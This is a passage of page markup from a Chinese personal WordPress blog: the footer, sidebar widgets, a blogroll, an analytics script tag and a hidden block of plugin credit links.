href="http://www.simonzhang.net/?cat=22" class="tag-cloud-link tag-link-22 tag-link-position-30" style="font-size: 20.492307692308pt;" aria-label="非技术类书 (109个项目)">非技术类书</a></div> </aside> </div><!-- #secondary .widget-area --> <div id="tertiary" class="widget-area" role="complementary"> <aside id="text-2" class="widget widget_text"><h3 class="widget-title">广告</h3> <div class="textwidget"></div> </aside> </div><!-- #tertiary .widget-area --> </div><!-- #main --> </div><!-- #page --> <footer id="footer" class="clearfix" role="contentinfo"> <section id="colophon" class="clearfix"> <div id="supplementary" class="one"> <div id="first" class="widget-area" role="complementary"> <aside id="linkcat-2" class="widget widget_links"><h3 class="widget-title">链接表</h3> <ul class='xoxo blogroll'> <li><a href="http://simon-zzm.blog.163.com" rel="me" target="_blank">163的备份</a></li> <li><a href="http://www.beian.miit.gov.cn" target="_blank">京ICP备14000048号-2</a></li> </ul> </aside> </div><!-- #first .widget-area --> </div><!-- #supplementary --> <div id="footer-html"> </div><!-- #footer-html --> <div id="footer-info"> <div id="site-info">© 2025 <a href="http://www.simonzhang.net/" title="simonzhang的家" rel="home"> simonzhang的家 </a> </div><!-- #site-info --> <div id="site-generator"> <a href="http://wp-ultra.com/" rel="generator">Admired Theme123</a> </div> </div> </section> </footer><!-- #footer --> <script src="http://s9.cnzz.com/stat.php?id=3830186&web_id=3830186&show=pic1" language="JavaScript"></script><div style="display:none"><a href="http://blog.printf.com.cn/" title="普人特福的博客">普人特福的博客</a><a href="http://blog.printf.com.cn/" title="cnzz&51la for wordpress,cnzz for wordpress,51la for wordpress">cnzz&51la for wordpress,cnzz for wordpress,51la for wordpress</a></div><script type='text/javascript' src='http://www.simonzhang.net/wp-includes/js/wp-embed.min.js?ver=5.3.2'></script> </body> </html>